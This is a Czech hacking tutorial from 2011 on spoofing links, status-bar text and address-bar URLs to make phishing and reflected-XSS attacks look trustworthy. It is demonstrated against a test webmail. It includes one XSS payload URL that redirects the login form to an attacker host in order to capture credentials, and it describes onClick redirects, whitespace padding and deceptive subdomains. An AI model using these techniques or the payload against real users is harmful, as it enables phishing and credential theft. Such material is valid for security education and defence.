Autor: .cCuMiNn. | 21.12.2011 |
Jistě mi dáte za pravdu, že je někdy vhodné zamaskovat odkazy tak, aby nebylo vidět, na jakou adresu směřují, nebo jaké proměnné obsahují. Využít takového zamaskování je vhodné například při phishingovém útoku nebo při útoku, který zneužívá non-persistentního XSS. Nejčastěji se dnes ke skrytí cílové URL používají různá přesměrování a služby jako tinyURL.com. Takto získané odkazy ovšem nepůsobí příliš důvěryhodně a útoky, které jsou přes ně vedeny, tak mohou u podezíravých uživatelů ztratit na úspěšnosti. V tomto článku se zkusíme zaměřit na metody, pomocí kterých je možné zfalšovat nebo přikrášlit odkazy a hodnoty ve status baru nebo address baru prohlížeče, aby vypadaly důvěryhodně. Ač se nebude jednat o žádné složité praktiky, domnívám se, že jejich zneužití by mělo velmi vysokou úspěšnost.
Vzhledem k tomu, že z důvodu implementované ochrany Content Security Policy na serveru SOOM.cz není možné demonstrovat všechny uvedené příklady přímo ve článku, rozhodl jsem se pro umístění demonstačních odkazů do oddělené HTML stránky. Pro praktické otestování jednotlivých ukázek si ji otevřte do nového okna.
Začneme skrýváním skutečných cílů u HTML odkazů. Pro demonstraci se zaměříme na non-persistentní XSS zranitelnost vyhledávání v testovacím webmailu, který je pro vás připraven na adrese: http://www.hackmail.cz. Naším záměrem při tomto útoku bude změna atributu action přihlašovacího formuláře v levém sloupci. Popisovat způsob, jak pomocí XSS tuto změnu provést, rozhodně nebudu. Tomu se na tomto serveru věnují jiné články. Raději rovnou uvedu odkaz, pomocí kterého je celý útok možné provést:
Příklad č.1 na demonstrační stránce.
Kdo ovšem na podobný odkaz dneska klikne, že? Daleko lepší by jistě bylo, pokud by odkaz vypadal zcela přirozeně: http://www.hackmail.cz
Začneme pěkně od začátku a podíváme se na spoofing odkazu, který je zobrazen v obsahu webové stránky. Zde není co vysvětlovat, protože to jistě zvládne každý se základní znalostí HTML. Prostě a jednoduše použijeme párového HTML tagu <a>, kterým uzavřeme jiný řetězec, než který je udenen v hodnotě jeho atributu href.
Příklad č.2 na demonstrační stránce.
Nyní uživatel uvidí jiný link, než na který odkaz skutečně směřuje a my tak máme jistou šanci, že se naše oběť nechá ke kliknutí na tento odkaz zlákat.
Nedostatky takto jednoduchého spoofování odkazů jsou ale zřejmé. Ve chvíli, kdy uživatel nad podobný odkaz najede kurzorem, zobrazí se ve stavovém řádku skutečná adresa, na kterou odkaz směřuje. Dá se tomuto zobrazení nějak zabránit? Ano dá a opět to nebude nic složitého. Pro nastavení cíle našeho odkazu totiž nevyužijeme atributu href, ale ovladače události onClick u tohoto odkazu. Hodnota atributu href při tom bude použita pouze pro spoofování hodnoty zobrazené ve status baru.
Příklad č.3 na demonstrační stránce.
Ovladač události onClick zahrnuje kód JavaScriptu, který po svém spuštění nejprve naplní vlastnost document.location hodnotou skutečného cíle, na který bude uživatel přesměrován a následně příkazem return false vrátí tagu <a> chybovou návratovou hodnotu, aby se samotný HTML tag již nevykonával a nedošlo k následování odkazu, který je udán atributem href.
Když nyní najedete kurzorem nad takto připravený link, bude ve stavovém řádku zobrazena hodnota uvedená v atributu href a skutečný cíl, na který budete po kliknutí na odkaz přesměrováni, zůstane skrytý.
K odhalení skutečného cíle může dojít pouze v případě, že si oběť prohlédne zdrojový kód stránky. Pokud bychom se chtěli vyvarovat i tomuto možnému prozrazení, můžeme odkazu nastavit obsluhu události onClick pomocí externího skritpu, jak ukazuje následující výpis. Při průzkumu zdrojového kódu pak bude odkaz vypadat stejně, jako by žádný JavaScript vůbec neobsahoval.
Již se nám zdárně podařilo zamaskovat samotný odkaz a dokonce i cíl zobrazovaný ve status baru. Nyní se podíváme, jak toho lze zdárně využít například při zneužití zranitelnosti, která využívá neošetřeného výstupu proměnných, jež přišly na vstup metodou POST. Oběti je v takovém případě možné podstrčit odkaz směřující přímo na stránku s automaticky odesílaným formulářem (například na zdejší projekt GET2POST), který se už sám postará o předání proměnných a o přesměrování uživatele na cílovou adresu.
Ukážeme si opět praktický příklad, který zneužívá non-perzistentní XSS zranitelnosti, tentokrát v poli pro jméno přihlašovacího formuláře našeho testovacího webmailu. K předání nakažené proměnné name, jejíž vstup je očekáván metodou POST, využijeme již jednou zmíněného projektu GET2POST, pomocí kterého vytvoříme následující odkaz:
Příklad č.4 na demonstrační stránce.
Tento odkaz můžeme jednoduše umístit na své stránky nebo jej přímo odeslat zamýšlené oběti. Toto řešení je ale opět velice nápadné a nedůvěryhodné. Daleko profesionálnější tedy bude, pokud využijeme nově nabytých zkušeností a celý odkaz na svých stránkách zaspoofujeme. Výsledek by potom vypadal například takto:
Příklad č.5 na demonstrační stránce.
Kromě téměř nepostřehnutelného přesměrování bude nyní vše naprosto transparentní a uživatel nebude mít žádný důvod, aby stránce, na které se ocitne, nedůvěřoval. Uživatel se dostne na webovou stránku, na kterou očividně odkaz směřoval. Samotný link (a tedy i adresa navštívené stránky) přitom není nijak nedůvěryhodný a o skutečnosti, že došlo k předání nějakých proměnných v těle HTTP požadavku, nemá uživatel ani zdání.
O něco složitější je situace v případě, kdy jsou hodnoty předávány metodou GET. Tyto proměnné budou totiž zobrazeny jako součást URL v address baru prohlížeče (nedojde-li ze strany aplikace po obdržení proměnných k přesměrování). Abychom si to předvedli v praxi, vraťme se zpět k výše demonstrované XSS zranitelnosti ve vyhledávání a uveďme opětovně zaspoofovaný odkaz, který tuto zranitelnost zneužívá.
Příklad č.3 na demonstrační stránce.
Vidímě, že odkaz zdánlivě směřuje na bezpečnou stránku. Když jej ale uživatel následuje, pak se místo na adrese http://www.hackmail.cz ocitne na stránce, jejíž adresa vypadá nepřirozeně a přinejmenším podezřele:
http://www.hackmail.cz/articles/search.php?query=%3Cscript%3Edocument.lgfrm.action%3D%22http%3A%2F%2Fwww.attacker.cz%2Fsave.php%22%3C%2Fscript%3E
Dá se i v tomto případě zajistit, aby oběť v address baru prohlížeče viděla pouze čistou hodnotu adresy: http://www.hackmail.cz respektive http://www.hackmail.cz/articles/search.php, která obsahuje uvedenou zranitelnost?
Ano, jde to a opět nám to nedá moc práce. Stačí, když za otazník (který v URL odkazu odděluje oblast adresy od oblasti proměnných) umístíme dostatečné množství mezer, které odsunou naše proměnné mimo viditelnou oblast address baru. Za tyto mezery zapíšeme znak ampersandu (nepovinně), který slouží k oddělení jednotlivých proměnných a teprve poté uvedeme naše proměnné, které chceme skrýt. Jediný rozdíl, který pak uživatel v adrese stránky uvidí, je znak otazníku, kterým adresa zdánlivě končí:
Příklad č.6 na demonstrační stránce.
Některé prohlížeče mohou sice znaky mezer nahradit URL kódováním %20, což nevypadá zrovna nejlépe, ale z testovaných prohlížečů (FF, IE, Opera, Safari, Chrome) se tak chovaly pouze prohlížeče Google Chrome a Safari.
Výše jsme se zabývali spoofováním, které mělo skrýt proměnné obsažené v odkazu nebo address baru prohlížeče. Někdy nám ale může jít o to, abychom přesvědčili uživatele o tom, že se nachází na jiné doméně, než si myslí. Tohoto lze úspěšně využít hlavně u phishingových stránek, které se vydávají za stránky oficiální. Čas od času se vyskytne nějaký ten exploit, který dokáže zobrazovat v address baru určitého prohlížeče falešnou hodnotu. Tyto exploity jsou ovšem funkční pouze v konkrétním prohlížeči a jen po omezenou dobu před vydáním opravného patche. My se ale těmto exploitům věnovat nebudeme. Namísto toho se podíváme na metodu nezávislou na použitém prohlížeči, která nevyužívá žádné zranitelnosti, a která proto bude funkční snad stále.
Čeho tedy k oklamání oběti využijeme? Jednoduše zneužijeme vlastnosti doménového názvu, který může obsahoval téměř libovolnou hloubku subdomén (počet částí domény). Jediná omezení, která jsou pro tvorbu doménové adresy platná, spočívají v tom, že celý název nesmí být delší než 255znaků, a že délka jedné části nesmí přesáhnout 63 znaků. Použít při tom můžeme pouze znaků abecedy, podtržítka a s jistými omezeními také znaku mínus nebo znaků národních abeced.
Je jasné, že doménu prvního a druhého řádu dostaneme přidělenu na základě registrace. Tvorba názvů pro doménu třetího řádu a dalších částí je však již čistě na nás.
Schválně? Na jaké doméně si myslíte, že se nacházíte, pokud budete mít v address baru prohlížeče zobrazeno toto:
Každý normální uživatel bude přesvědčen, že se nachází na adrese www.google.com. Ve skutečnosti tomu tak ale nebude. Skutečná doména, na které byste se v tomto případě nacházeli, by byla your.name.
Schválně zkuste navštívit stránku, na kterou směřuje ukázkový odkaz č.7 na stránce s příklady a řekněte sami, zda byste se nechali oklamat :)
Některé prohlížeče zvýrazňují v URL aktuálně navštívenou doménu a dokáží tak uživatelům naznačit, če se jedná o útok. Nic nám ovšem nebrání v tom, abychom název domény natolik protáhli, že se zvýrazněná část ocitne mimo viditelnou oblast adress baru. Viz. ukázkový odkaz č.8.
Aby bylo možné tvořit podobná doménová jména je potřeba nastavit v DNS záznamy:
a v nastavení serveru uvést u virtual hosta:
Pro útočníka je největší nevýhodou asi to, že nemůže použít spoofování odkazů pomocí JavaScriptu při zasílání odkazů e-mailem. Zabezpečení e-mailoví klienti a webmaily totiž spuštění JavaScriptu potlačují.